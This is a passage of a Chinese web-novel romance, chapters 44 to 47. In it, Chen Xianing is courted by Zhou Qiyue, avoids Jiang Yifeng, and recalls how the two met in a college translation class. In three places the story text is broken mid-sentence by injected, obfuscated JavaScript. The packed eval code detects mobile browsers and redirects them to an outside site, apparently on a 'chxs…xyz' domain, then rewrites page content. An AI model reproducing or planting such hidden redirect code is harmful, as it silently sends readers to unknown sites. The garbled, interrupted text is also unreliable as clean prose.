陈夏柠站着路边打车,手机页面并没有检测到车辆。能住在珍山区的人压根不要需要打车,所以这地很少有出租车出没。 陈夏柠心急如焚,边走边尝试。 倏忽,一辆黑色的宾利从身后窜出来,停在她旁边,车窗摇下。 江逸风嘴里叼烟,一只手按动打火机,另一只手拢火,而后呼出一口烟雾,朝她弹了下舌头:“需不需要爷载你一程?” “......” 陈夏柠翻了个白眼,视线挪回屏幕,抱着箱子继续往前走。 江逸风单手握着方向盘,车子慢慢挪动着,跟她并排走。 “还跟爷置气呢,我跟你道歉好不好?” “......” 陈夏柠揣好手机,小跑起来,奔向了一个公交站,前脚刚坐下,江逸风的车又停在她面前。 他胳膊肘抵在车沿,探出头说:“真就这么绝情啊,连我的车都不坐。” “......” 陈夏柠懒得搭理他,从包里拿出有线耳机,插上手机,自顾自地听歌。 江逸风:“这公交站刚停运,没有车的。” 耳机特别隔音,加上音量开得大,陈夏柠已经完全听不到他在说什么了。 “江爷我什么脾性,你从小到大不都知道嘛。”江逸风继续问,“说实话,你到底在生什么气啊?” “......” 耳机里响起电话声,她按动耳机线上的按钮,接通。 是周祈越,他嗓音悠悠地:“你下班了没,我回家看爸妈了,正准备回去,距离学校比较远,可能没法准时去接你了。” “忘记跟你说了,”陈夏柠唇角弯了弯,“我提早下班了,现在没在学校。” 刚说完这句,江逸风不知怎么下车了,扯下她一只耳机,“你跟谁打电话呢,爷说话你听见了没?” “......”陈夏柠抬头,没忍住脾气:“你烦不烦。” 另一边,周祈越正在开车,听到两人的对话,心口猛地一紧。 江逸风咽下一口气:“我是说,这公交站停运了。” 陈夏柠右耳还戴着另一只耳机,传来周祈越低沉的嗓音:“陈夏柠,你在哪?” 44. 连衣帽 挂完电话后,周祈越跟她开启了位置共享。 陈夏柠收好手机,老实地坐在公交站的长椅上。 江逸风看她这架势,料想她在跟他置气,挨着她刚坐下。 陈夏柠应激似的站起来,目光转向别处。 她现在的言行举止,充满了对他的忽视和不在意。 完完全全把他陌生人。 “喂,你有必要这样吗?”江逸风独占长椅,大咧咧地敞开腿,又点了只烟,慢悠悠地抽着,说,“最近我想了很多,之前我做的确实不对,明知道你喜欢我......” 留意到共享地图上,两人的位置靠得很近,陈夏柠蓦然想起他说,要是她也提曾经的暗恋对象会吃醋。 那么三人要是同框出现,就是修罗场。 陈夏柠忙不迭弯腰,双手拖住纸箱,按照他来的方向,转身走过去。 “如果你还愿意的话——”江逸风的话说到一半,一抬头,人已经距离他十米开外了。 这时原本人际罕至的道路上,冲出两道明晃晃的车前灯,撕破了深不见底的黑夜。 随之而来,扎眼的奔驰车标,整个车身缓慢行驶,正在往路边靠。 车门拉开,男人脊背挺阔,撑起身上的藏蓝色夹克,搭配黑色裤子,气质矜贵又不羁。 江逸风保持着原先的姿势,眼底漆黑,目不转睛地望着两人的一举一动。 他接过她手中的纸箱,放到后座,跟随着她绕过车前头,为她拉开车门,抬手挡住车顶,护送她坐上去。 陈夏柠原本是不安的,因为再次目睹养父的虚伪,又碰见江逸风,心情着实被这些人打散了。 自从他在耳机里的那句“你在哪”开始,她就下意识希望他快点出现。 再到他真的出现眼前,那些不好的情绪蓦然被驱逐,只剩下眼前这个人。 她正无比安心地望着他。 莫名产生了一种依赖感。 周祈越丝毫不回避她的目光,下一刻,倾身靠过来。 逼仄的空间,他那张英气焕发的脸,近乎要贴上她。 陈夏柠身体一僵,后脑勺紧紧靠着椅背,声音在发颤:“你...你干什么。” 心里想的是,你还没转正,不许乱来。 “咔哒”一声,周祈越将她的安全带插上,语调悠悠,气息喷洒她前额,带着恶劣的玩味:“陈夏柠,我之前怎么没发现,你手段这么高。” “嗯?” “上我的车,还等着我给你系安全带。”他身体挪回主驾驶,视线还停留在她身上,“你在钓我。” “......” 陈夏柠平复好的呼吸又乱掉了,只觉得车内的温度过高,整个人脸红耳热。 不知道为什么,她感觉周祈越愈发...嚣张了。 可以形容为,面对小白兔,大灰狼蛰伏深处的本性正在一点点重见天日。 周祈越启动车子,没有掉头,而是目视前方,将车身移得缓慢。 抵达公交站牌时,他余光扫了眼坐着的男人,扯了扯唇角,无声又张狂地宣示着自己的得意。 江逸风指尖夹着猩红的烟头,火苗蹭蹭往上窜,烫到皮肤,蓦然回神。 “操!” 男人望着车尾怒不可遏,发狠地踢了下长椅。 瞥见透过后视镜的场景,周祈越加快速度,关上窗户,点击显示屏播放音乐。 - 这周四就是中秋节,连着国庆假一起,总共七天假。 临近放假的日子,学生们总是会躁动不安,连上课都在讨论着假期去哪旅游。陈夏柠查班的时候,站在后门听见学生在议论。 都是从学生时代过来的,也能理解,她顺便开个班会,嘱咐他们假期出游注意安全。 也就是在放假的前天晚上,全院教职工开了一场大会,迎接新院长。 当时因为和学生开班会,陈夏柠姗姗来迟,只剩下门口的座位。 她刚坐下,右手边主位的人轻咳了声:“大家好,我是你们的新院长,林清模教授。” 全场掌声响起,陈夏柠缓缓抬起头,林清模看她一眼。 她整个人愣了好久。 看样子他对她还有印象。 这个会议,陈夏柠如坐针毡,蓦然想起本科的一堂选修课,大二上学期,海事国际会议翻译。 之所以选这门课,是因为手速慢了,她没能和室友抢到同样的选修课。 但又为了学分,不得不去上,第一节课她就发现,选这课的人几乎全是外院的学生。 关键一个选修课,林教授点名互动特频繁,陈夏柠特别崩溃,其他同学都回答的很好。 轮到她时阅读自己的译文,那群外院的学生频频发笑:“绝对是机翻的,丝毫没有翻译技巧。” 陈夏柠内心崩溃了,她就是那个“机翻”。 林教授开口就问:“同学,你哪个专业的?” 这番质问,无疑坐实了她外行人的水平。 全班同学频频回头看她,陈夏柠低着头,红着脸说:“海洋资源与环境。” 林教授哦了一声,一副懂了的表情,笑着说:“跟我一样外行,同是工科,咱俩都被迫拉到这上课了,千万不要被他们文学的学生瞧不起啊。” 底下那群外院的学生哄堂大笑。 自那以后,林教授点名,第一个名字就是她。像是时时刻刻提醒她好好学,不要被瞧不起。 后来,期末成绩出来,陈夏柠也极其意外自己拿了个高分。 ...... 会议结束,老师们纷纷起身离开。 陈夏柠没有着急,总觉得自己出于礼貌,也得和曾经的老师打个招呼。 她站在会议室外,等林清模和副院长、书记聊完。 三人出来后,林清模瞧着陈夏柠,对副院长和书记说:“这位啊,是我曾经的得意门生啊。” 副院长和王书记笑了笑,说了句你们先聊,就离开了。 陈夏柠讶然,没想到自己担得起“得意门生”这四个字。 两人寒暄几句,陈夏柠说了自己后来的发展。 “你硕士竟然改选文学,海事翻译。”林清模诧异这个选择,打趣道,“不会是因为上我的课喜欢上了翻译吧?” “还真是。”陈夏柠点头笑笑,“因为老师您的尽责,我才把选修课学的比必修课还认真。” “我看是爱情的力量吧。”林清模会心一笑,“为了见周学长吧。” 陈夏柠一愣:“什么?” 林清模对想起当年的事记忆犹新:“那是我第一次教翻译,那节课选的人不多。正当我觉得学校要把这个课切掉时,那个大四的学生周祈越不知道抽了什么风,选了我的课。” 当年周祈越可是有很多仰慕者的,学校论坛每一届都要评选校草,就是从周祈越开始,他被称为海大的首届校草。 一听到大四的学长周祈越选了林教授的课,很多女生纷纷改选林教授的选修课,名额爆满。 所以当时除了外院的学生,其他专业的学生百分百是冲了周祈越而来。 怪不得,当林教授知道她不是外院的学生时,那副懂了的表情。 原来他笃定她是因为爱情——为了见周祈越。 “周祈越也是我的学生,他还真能给我提升考勤率,”林清模笑了笑,“他是大四学生要在外实习,来不来都很随机,我就没给他计较。” “原来是这样啊,”陈夏柠小声咕哝,“我都不记得和他上过同一堂课。” 甚至整个大学都不知道有这号人。 因为她本身就不是八卦的人,从不关注贴吧和表白墙。 “其实我也纳闷他选那课干什么,毕竟理论课他们都修完了。”林清模说,“后来也能理解了,你们都为了见他而选我的课,那他可能也为了见某个人吧。” 回家的路上,陈夏柠一直在思考林教授的后半句话。 为了见,某个人。 如果是这种可能,周祈越应该是为了见暗恋对象吧。 - 到了家门口,她输入密码,门一开,一道慵懒的嗓音落于身后:“逛超市么?” 陈夏柠回头,面色带着纳闷:“你总能在我刚打开门,也恰好开门出来。” 周祈越走过来,弯腰看她,缓缓道:“这叫做,心有灵犀。” “......”陈夏柠无言以对,转移话题:“去超市干嘛?” 周祈越:“明天不是中秋节了么,不得买点月饼和蔬菜,风风光光地过个节。” “有多风光?”陈夏柠对过节没什么概念,心想不就一个中秋节吗,“需不需要给您老人家放个烟花,搭个戏台子?” “......” “就这么喜欢跟我抬杠?”周祈越啧了声,抬手敲了下她脑门,“去不去啊,我手机里正有很多优惠劵躺着睡觉呢。” 陈夏柠摸着脑门他触碰的地方,心想就跟你抬杠怎么啦,一听到“优惠券”立马圆目发亮:“多大额度的?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14272797|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ......” 周祈越好笑地看她,催着她进屋把包放下,然后带人一起去超市。 为迎中秋国庆,超市很多促销打折活动。陈夏柠拉了一个小推篮都不够放,周祈越推了一个大一点的推车,跟在她后面,将两人买的东西都在放在一起了。 陈夏柠在零食货架选薯片时,佯装漫不经心地问:“你本科的时候有没有选过一门课,叫海事国际会议翻译。” 周祈越背对着她,拿着对面货架的柠檬汽水,动作一顿,“都毕业多少年了,选了什么课,我哪还记得。” 陈夏柠:“你再想想,大四那年。” “怎么,你又在背地调查我啊。”周祈越话间回头看她,侧脸弧度分明又带着点痞气。 蓦然让人想起,漫画中美男子不经意间的回眸。 他真是...随便一个动作都在勾引人。 有了先前被抓包的教训,陈夏柠及时挪开目光,讷讷道:“你应该认识林清模教授吧。他今天上任航院的新院长,我上过他的课,他对我有印象,今天我们聊到那节翻译选修课,他说,当年多亏了你,那节课的入座率爆满。” 周祈越似是想起了什么,哦了声:“有印象,上过。”随即从她身后走过。 蓦然感觉后背的卫衣帽一沉,陈夏柠背过手,从里面掏出一罐柠檬汽水。 她看着手里的柠檬汽水,又顺着货架走廊望向站在拐角处的周祈越。 顷刻间,模糊的记忆慢慢聚拢,终于变得愈发清晰。 海事国际会议翻译上课地点在航运科研楼,关键在这个选修课前,还有一节必修课,两个地点间的距离,骑车都得十五分钟。 所以陈夏柠经常卡着时间点上课,每次都只剩下后排的位置,她便习惯坐在了倒数第二排靠窗的位置,后面一排没人坐。 某个晴朗的上午,陈夏柠分了些心思看向窗外两颗金黄的银杏树,不禁低头在笔记本上临摹那两颗树。 有个声音提醒:“老师来了。” 陈夏柠一抬头,果真看见林教授正往这里走来,赶紧合上笔记本,佯装专心看书。 她盯着地面的影子,恍然发现自己身后坐了一个人。 等林教授走过最后一排,警报解除,陈夏柠身体往后一靠,正视前方,对着后面小声说:“谢谢。” 对方没再吭声。 下课铃声一响,陈夏柠起身上厕所,瞧见正后方埋头趴桌上睡觉的男生。 他枕着一个臂弯,另一个胳膊肘随意搭在后脑勺,手指根根骨节分明。 他穿着深蓝色航海服,阳光稀稀落落地照在他挺阔肩膀上,凸起的肩胛骨像锋刃的山脊,衬得他这人锋芒毕露。 成为这个教室最耀眼的风景。 不可忽视的存在。 直到上课铃声敲响,他还在趴着睡觉,眼瞧着林教授进班,陈夏柠急忙回身,敲了敲他桌面,又快速转身。 “谢了。” 他拉了下她的卫衣帽子,嗓音清澈,又有磁性,身上也散发着好闻的青柠味。 陈夏柠只是猜测他应该长得很帅,但也没放在心上,毕竟她见惯了耀眼的人。 这个选修课,每周有一节,到了下周,就没再见他来了。 窗外的景色萧条,银杏叶落满地,只剩下光秃秃的枝干。 冬天要来了。 上周那个景色着实动人,陈夏柠翻开笔记本,盯着自己画好的银杏树,鬼使神差地在旁边继续画一面玻璃窗,窗户内有一位少年正趴在课桌上睡觉。 然后又过了两周,天气转凉,大家纷纷穿上了棉袄。 刚上课五分钟,林教授正在激情澎湃讲课,陈夏柠也在专心盯着课本,忽地,身后响起轻微的拉凳子的声响。 她下意识觉得,是那个少年。 果不其然,他开口:“同学,能借支笔么?” 陈夏柠没回头,递给他一支笔。 “还能给张纸么?” “......” 陈夏柠干脆撕了一半的草稿纸给他。 下课铃声敲响,后面立刻响起挪椅子的声音,很急促,有什么急事要离开的感觉。 “谢了。” 话音刚落,陈夏柠就感觉到自己的帽子里被塞了东西。 她回头去看,少年的背影恰好消失于后门。 她穿着棉袄,后面贴着一个宽大连衣帽,从里面掏出自己的笔和草稿纸。 场景拉回,陈夏柠轻笑了声:“他怎么这么喜欢扯我帽子啊。” 45. 约会渣女 周祈越推着推车去收银台结账,陈夏柠眼睛直直地盯着显示屏,总共消费350元,他用了一张满三百减一百的消费券。 每次跟他一起买东西都是他付钱,陈夏柠挺不好意思的,考虑到微信转账他会拒收,她就用支付宝。 收银员将他们买的东西装进两个塑料袋,周祈越揣好手机,两手拎着两大袋,转身,口袋发出震动。 一道嘹亮的提示音响起:“支付宝到账二百五十元。” “......” 紧接着,后面排队的人和收银员低头憋笑。 周祈越脚步一停,看了眼右边的姑娘,视线不偏不倚地落在她屏幕。 尴尬。 又被现场抓包。 偏偏还是二百五。 搞得她好像在当众骂他。 陈夏柠闭了下眼,局促地收好手机,好心接过他右手的一袋,抱在怀里。 前面通道拥挤,她正耐心等人出去,忽然,后背的帽子悬空起来。 她顺势抬头,男人表情很淡,食指勾着她帽檐,“走这边。” 陈夏柠顺着他的力度牵引,走向另一个通道,“你怎么总喜欢扯我帽子啊。” 周祈越扣起字眼:“什么叫做,总?” “......” 陈夏柠不知该如何反驳他,总觉得那位坐在她身后的少年就是他,但一时拿不出证据。 从超市门口出来,扑面的冷风带着锋芒,刺骨的透心凉。 陈夏柠盯着他未松开的手,又望了望他,眨巴着眼乞求他放过她的帽子。 下一秒,他的力度向前,松开,帽子完全盖到她头上了。 “......” 回到家,两人将各自买的东西分好。周祈越也不白让她付钱,亲自下厨给她做晚饭。 周祈越摆好盘,坐在她对面,问:“国庆假有什么安排么?” “没什么安排。”陈夏柠夹着菜,悠悠地说,“好不容易放假,我只想先歇几天。” “嗯。” 陈夏柠:“你呢?” 周祈越:“我也没什么安排。” “我是说,工作。”陈夏柠总觉得凌极号对他的影响还未结束,否则他不会一直这么闲,“你打算继续当无业游民?还是说,当上瘾了?” “......”周祈越抬眼,吊儿郎当道:“怎么,怕我给你丢脸啊?” 陈夏柠低头认真吃米饭,斟酌了几秒,硬着头皮说:“我跟你说过,我很难追的,就比如——” 周祈越放下碗筷,单手托腮,秒变一只认真听讲、乖顺的大灰狼。 陈夏柠握紧筷子,继续说:“我未来的男朋友,不能是个啃老族。” “放心,我找好工作了。” 周祈越眼尾弯了弯,直勾勾地盯着她的眼眸,思量着她这句话,“你的意思是,我是你未来的男朋友了。” 刻意咬着“男朋友”三字,表情玩味又嚣张。 大灰狼的尾巴都要翘上天了。 藏也藏不住的得意。 陈夏柠脸色发麻,大口吞咽米饭。 也顾不得问他找的什么工作了,因为再问下去,他肯定会将这股得意儿发扬光大,说:你还挺关心我。 更甚者,说:还没转正,都对我管这么宽了。 她不接话茬,周祈越并不打算放过她似的,拿腔拿调道:“就算没有工作,你男朋友也从来都不啃老,花的都是自己的钱。不,说错了,你未来的男朋友。” “......” 她就不该,跟他提工作的事。 陈夏柠咬了下唇,使劲用筷子戳碗底,只想挫一挫他的锐气,傲娇道:“你距离转正还早着呢。” 周祈越没半分被打击的样子,轻笑了声:“还不承认,你就是在钓我。” “......” 一直到睡觉前,陈夏柠都在思考他口中的“钓”,感觉自己很像渣女。 她掏出手机给许佳念说明了下情况。 念念不忘:【嗯嗯.jpg】 Lemon:【?】 念念不忘:【的确很像渣女。】 Lemon:【......】 陈夏柠无措地打字:【那我该怎么办。】 许佳念发来语音:“什么怎么办,要是他再跟你表白,你要是喜欢他,就接受啊,顾虑那么多干什么。” 真的不用顾虑,那么多吗。 关灯,屋内黑漆漆的一片,陈夏柠闭上眼,满脑子都是各种顾虑。 总觉得自己不够好,总觉得自己配不上他。 想着想着,半夜失眠,情绪低迷。 脑海的画面一转,同样是大二那年冬天,流感盛行,教室里大多同学都带上了口罩。 陈夏柠重感冒挺严重,吃了感冒药,困得很,上课也没心思。 所幸她的位置靠后,可以趴在桌上偷懒。 手机的消息咚咚响。 摁亮屏幕,页面停留着在未刷完的朋友圈,现在有一条最新动态。 是时曼茜。两周前她们因为社团活动加过微信。 时曼茜偷拍了一张照片,场景是电影院,她开启摄像头前置,旁边躺着一位睡着的男生。这个拍摄视角,很像男生靠在她肩膀, 灯光很暗,但也能通过轮廓和着装,认出那人是江逸风。 陈夏柠心口一缩,有点闷不过气,不敢再看下去,急忙切换页面。 妈妈:【今晚你爷爷要参加一个商业晚会】 妈妈:【你早点回家,换上礼服,到时候再现场谈个钢琴,给你爷爷争光。】 陈夏柠用纸擦了下鼻涕,还在咳嗽,回复:【妈,我感冒了。】 妈妈:【你是不是不想去,别找借口。这个商业晚会有很多业内大咖,借此机会让爷爷带你扩充人脉,你以后是要继承公司的。】 陈夏柠坐直身,隔着屏幕都在瑟缩发抖,小心翼翼地解释:【妈,我真感冒了,最近流感盛行,还咳嗽不止。】 妈妈:【一个小感冒,忍一忍就行了,又不让你待多久,就弹个钢琴的功夫。】 陈夏柠只是想听妈妈的安慰,一句都没有,她眨了眨干涩的眼,鼻尖发酸。 Lemon:【我钢琴弹的不好,也忘得差不多了。】 妈妈:【什么?!】 隔着屏幕就能感受到对方的气愤,陈夏柠急忙敲字想服软,还没发出去,萧婷的消息又跳出来:【笨不死你!枉我花了那么钱给你请最好的钢琴老师!你真是太让我失望了。】 陈夏柠盯着手机屏幕,鼻腔堵塞的难受,眼眶酸涩难耐,豆大的眼泪落下来。 窗外的天空灰蒙蒙,乌云压得极低,像是唯独笼罩着她。 人生病的时候最脆弱,这会儿心情糟糕至极。 陈夏柠压低头,将连衣帽戴到头上,肩膀一抽一抽的,不敢发出任何声音。 然而祸不单行,林教授开启点人模式:“陈夏柠,你来翻译这句话。” 她慌张擦眼泪,完全不知道老师讲到哪了,整个手足无措,正准备站起来。 “老师。”身后有人先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14295168|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起来,“都最后一节课,您还没点过我,给个机会吧。” 完全没留意到,他什么时候来了。 林教授自然给面子:“行,你来翻吧。” 陈夏柠紧绷的神经松懈下来,集中注意力听他翻译。 他嗓音沙哑,带着浓重的鼻音,也感冒了。 但也不妨碍他说的一口流利的英文。 这节课结束,天空下着淅淅沥沥的雨,陈夏柠站在教学楼的屋檐下,想等雨停,不曾想,过了一小会儿,雨越下越大了。 她深呼一口气,将帆布包取下来,准备放在头顶上挡雨。 忽地,左侧笼罩下一层身影,她动作一顿,抬眼看过去。 少年依旧穿着深蓝色航海服,戴着同色系口罩,额间的碎发扫过眉宇,露出一截白皙的脖颈。 下一刻,他稍稍偏头看过来,在口罩的遮挡下,她只看见他双深邃的眼睛。 足够惊艳。 但也只停留几秒,便感觉身后的帽子一沉。 少年什么话都没说,抬脚往前跑,背影消失在雨幕之下。 陈夏柠从帽子里掏出一把黑色的折叠伞,撑开,内部伞骨挂着一个柠檬卡牌,上面有一窜字。 回忆到这里,陈夏柠却想不起来卡牌的内容了。 第二天早上醒来,她因为没睡好,脑袋混混沉沉,下床,趔趄地往梳妆台走,被地上的纸箱绊了一下。 从陈家拿来的纸箱还没拆开,陈夏柠从抽屉里找了把剪刀,划开包装。 张姨倒是把她之前书桌里的东西都留下来了,各种笔记,书信,手账本,还有喜欢的签名版实体书。 搜罗了一番,倒是找到那把折叠伞了,当时她只用过一次。 因为感谢那位少年的好意,也没舍得扔。只想着,说不定以后见到他,还能把伞还给他。 但那是最后一节课,期末考试是让写小论文。 后来再也没见过他,这把伞一直被放在纸箱里。 陈夏柠把伞撑开,正如当年一样,那个柠檬卡片还在。 上面写着简短的英文字母: Bestwishtoyou. 他字迹足够独特,遒劲又飘逸。 陈夏柠又仔细回忆起那天的场景。 怪不得,从第一次见面开始,她总觉得在哪见过周祈越,总觉得他那双眼睛很熟悉。 原来,他们真的见过。 无论是学生时代,还是现在,他还是一如既往的热心。 * 国庆假的朋友圈全是各种旅游打卡,但也肉眼可见的人挤人,陈夏柠全程宅在家,养精蓄锐,过得还算潇洒。 在假期的最后一天,下午,周祈越敲她房门。 陈夏柠头发乱糟糟地,开门就问:“怎么了?” “给你半小时收拾。” 她茫然:“啊?” 周祈越挑眉:“小心发霉啊你。” “.....” 最后周祈越耐心等她一个小时,两人四点出门,陈夏柠跟他上了车,被他带到一个热闹的商业圈。 附近很多流动商铺,好吃的好玩的。 陈夏柠:“你带我来这干什么?” 周祈越:“让你提前感受一下未来约会。” 陈夏柠:“?” “我是你未来的男朋友,”周祈越看她,缕清逻辑,“那跟我约会,不得叫做未来约会么?” “......” 陈夏柠无言以对,闪现一个念头,要是你今天跟我告白,我就接受吧。 46. 浪漫 商圈一层的流动小摊摆放的很整齐,左边一排是小吃,右边一排是各种饰品。 陈夏柠被一家卖水晶手串摊位吸引,她走过去挑选,这会儿客流量不多,老板热情地招呼她试戴。 周祈越抱着胳膊闲适地靠在摊位旁边,耐心给她参谋意见。 陈夏柠戴上粉紫色的水晶手串,举给他看:“这个怎么样?” 周祈越点头,一脸认真:“好看。” 陈夏柠:“这个呢?” 周祈越:“不错。” 陈夏柠:“这个?” 周祈越:“好看。” 陈夏柠:“这?” 周祈越:“不错。” 到了第五回合,还没等她开口,他自动点头:“好看。” 陈夏柠:“......” 周祈越好像变成了一个点头娃娃,只会说“不错”和“好看”。 陈夏柠向来有选择恐惧症,一并举着五个手串同时问他:“哪个最好看?” 周祈越扫视了一圈,评价:“哪个都好看。” 陈夏柠:“...........” 卖手串的阿姨噗嗤笑出声,打圆场道:“姑娘,你男朋友是觉得你戴哪个都好看,要不都买了吧。” 陈夏柠正想说他不是男朋友,周祈越眉眼一抬,心情极好,爽朗说:“那行,都包起来吧。” 阿姨乐呵呵地给她打包:“好嘞。” 陈夏柠完全来不及反应,周祈越已经眼疾手快地付款了。 这种感觉就像,她被两个一唱一和的推销员框着购物。 结果,受害者不是她,而是“周推销员”。 “......” “阿姨,这个粉紫色的手串比较大。”陈夏柠后知后觉地发现还是喜欢第一次拿的这个,大概就是第一眼法则吧,早知道不纠结了。 “没事儿,我帮你调整一下。”阿姨搬个凳子让她坐下,将珠子的线拆掉,比着她的手腕现场定做,“姑娘,你的手腕真细,皮肤也白,一看就是有福气的。” 陈夏柠轻笑了声,权当阿姨在客套,毕竟“福气”这事从不属于她。 阿姨量好尺寸,重新将水晶珠串起来。 陈夏柠百无聊赖地等着,扫视其它手串。 周祈越站在她身后,低头看消息,谢泽将商场工作人员的微信推给他:【一切就绪,等你一声令下,惊喜如期而至。】 他心里也没底:【你确定这方法有效?】 谢泽:【当然!没有女生会拒绝大屏幕表白!】 相处一段时间后,周祈越能感觉到陈夏柠对他是有感觉的,总不能让人姑娘等太久,这几天周祈越一直在计划着怎么跟她正式表个白,但他对这事着实没什么经验。 于是求助谈恋爱的谢泽,谢泽乐此不彼,给出一套浪漫的夜晚大屏幕表白计划。 July:【我怎么觉得有点......】 谢泽:【有点什么[吃瓜]】 July:【土】 谢泽:【吐血.jpg】 紧接着对面开启连环轰炸: 【哪土了???】 【你懂什么!你了解你女孩子吗?你谈过恋爱吗?你知道什么叫做浪漫吗?】 【这可是我跟雯雯的表白方式,她当时可高兴了。你竟然觉得土!】 July:【......行吧。】 周祈越加了工作人员的微信,余光瞧见陈夏柠拿起一个深蓝色的手串,抬头看向了他。 顿时会意她的意图,他淡淡道:“你们姑娘戴的东西,我就不需要了吧。” 陈夏柠只是觉得他很适合蓝色系,也没强求着要给他,正准备收回手。 阿姨串好珠子,给她戴上,瞥了眼她放下的蓝色手串,“这可是独有的情侣款哦,寓意着长长久久。” “我试试。”周祈越连忙捞起手串戴上,刚好合适,和她的右手腕比在一起,颇为满意道,“行,多少钱啊?” 陈夏柠:“......” 这阿姨的推销能力还真是杠杠滴。 专门框周祈越。 不过,他貌似是因为“男朋友”和“情侣”这些字眼...... 她没细想下去,抢先一步付了钱,算是偿还一点他给她买的五个手串。 见状,阿姨笑着说:“小情侣互赠定情信物呀。” 闻言,周祈越眼睛骨碌一转,好整以暇地看她。 陈夏柠:“......” 不行不行,这地方待不下去了。 她忙不迭拉开凳子,起身,刚好也饿了,走向对面的小吃铺子。 刚巧不巧,陈夏柠的视线落在一道熟悉的背影,走近拍了下她,“念念。” 许佳念回头,惊喜一笑:“夏夏!你逛街都不喊我。” 说完这句,便瞧见落在她身后走来的男人,长哦了声:“原来是有约了啊。” 陈夏柠伸手戳了下她,跟她挤眉弄眼着。 许佳念噙着笑,跟周祈越摆摆手,“学长,又见面了。” “又见面了。”这一排的小吃铺人太多,周祈越瞧着两姑娘说,“要不一起去餐厅吃个饭?” 许佳念蹦跶着,“好啊好啊,”又瞄了眼陈夏柠,小声道:“不介意我当电灯泡就行。” “......” 陈夏柠拉着她的胳膊,凑过去窃窃私语,告知他两还没确认关系,让她说话悠着点。 周祈越站在一边,在手机上选好餐厅,在二楼,他们现在位于一楼,乘旁边的手扶电梯上去就行。 他走过来喊她两,顺便接过她们手中购物袋,在后面跟着。 许佳念拉着陈夏柠踩上电梯,三人一同向上移动,忽然,四周环绕的大屏幕由广告切换成粉色的爱心泡泡,堆积成字母“Iloveyou”。 周祈越神色一怔,他还没说开始吧。 随后屏幕又出现“我喜欢你”以及某个陌生名字。 周祈越虚惊一场。 “天哪,这表白好社死,”许佳念锐评,“好土啊!!!” 周祈越:“......” 陈夏柠笑了笑:“能理解,直男表白方式。” 周祈越:“.........” 到了餐厅,他让两姑娘选菜,谢泽一直发消息问情况。 周祈越思量片刻,更加坚定了自己的认知,回复:【兄弟,你的建议很好,我不采用。】 谢泽:【......】 她俩点的都是家常菜,吃了一碗米饭就停筷子了,周祈越问她们想不想看电影,许佳念狂点头,推荐了一部最新上映的爱情片。 周祈越在手机上选好,正准备付款时,许佳念急忙站起身,“谢谢学长的款待啊,我有事就先走了。” 陈夏柠一脸懵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“夏夏,有爷爷陪着你不好吗,在家里一起吃饭,很多人都陪着你啊,”萧婷扯开她的手,凉凉道,“妈妈玩不了游乐场的游戏。” ...... 差点忘了,今天也是她生日。 妈妈从来都没有,和她单独过生日。 或许,妈妈一直都介意她的身份,不想跟一个假女儿过生日。 陈夏柠眨了眨眼,视线逐渐模糊,心口隐隐泛酸。 周祈越从餐厅走出来,注意到她傻傻地盯着一片虚无。 “看什么呢?” 陈夏柠晃过神,忍住想哭的冲动,“没什么,走吧。” 她抬脚往前走。 周祈越攥住她的手腕,往反方向,“电影院在这。” 察觉到她情绪不对劲,周祈越没松开她的手,牵着她坐直梯,到达顶层的电影院。 取完票,距离电影开幕还有二十分钟,等候大厅有许多娃娃机,周祈越拉着她过去。 “之前捞金鱼的时候,你不是说玩娃娃机喊上我,堪比进货场面。”周祈越换了一小框游戏币,在手里发出清脆的声响。 陈夏柠顺着他的视线看过去,一排的娃娃机。 “你想要什么?”周祈越朝她努努下巴,一副准备进货的架势,“□□熊,loopy,长颈鹿,还是多啦A梦?” “......” 47. 泰迪熊 那么多排娃娃机,陈夏柠唯独选中角落里,人最少的那个,里面的娃娃并不好看。 周祈越低着脖颈,凑近观察玻璃框的玩偶,“那只泰迪熊还不错。” 陈夏柠抱着胳膊,好整以暇地看了看泰迪熊,又歪头瞧了瞧他,“欸,跟你长得很像。” “......” 周祈越挑眉,想质问哪点像了,一毛钱关系都没有。但如果打趣他能让她开心,他就不计较了,吊儿郎当道:“行,像我就像我吧。给你钓出来,方便你睹物思人。” 陈夏柠:“......” 哼,暗自诅咒你钓不出来。 泰迪熊的方位并不好,位于洞口的斜对角,狭隘空间最远的距离。 周祈越塞进三枚硬币,拨动操纵杆,机械爪子落下,将熊夹起来,悬空三秒,掉落。 不是洞口...... “你看,距离目的地更近了。”周祈越看她一眼,继续塞硬币,这次爪子压根没把熊抓起来。 第三次,泰迪熊的距离目的地更远了...... 陈夏柠站在一旁缄默不言,唇角不自觉上扬。 嘿嘿,我的诅咒还真管用。 打脸了吧,谁让你刚刚还一副胸有成竹,准备进货的样子。 或许选择其它玩偶胜算更大些,但周祈越偏偏跟一只泰迪熊杠上了,小框里的硬币都快用完了,还没钓到。 瞧见她憋笑、幸灾乐祸的模样,周祈越反倒达成了目的,反正来玩这个就是为了让她开心,结果殊途同归了。 “你要不也试试。”周祈越把最后的三枚硬币给她,转身去前台兑换硬币。 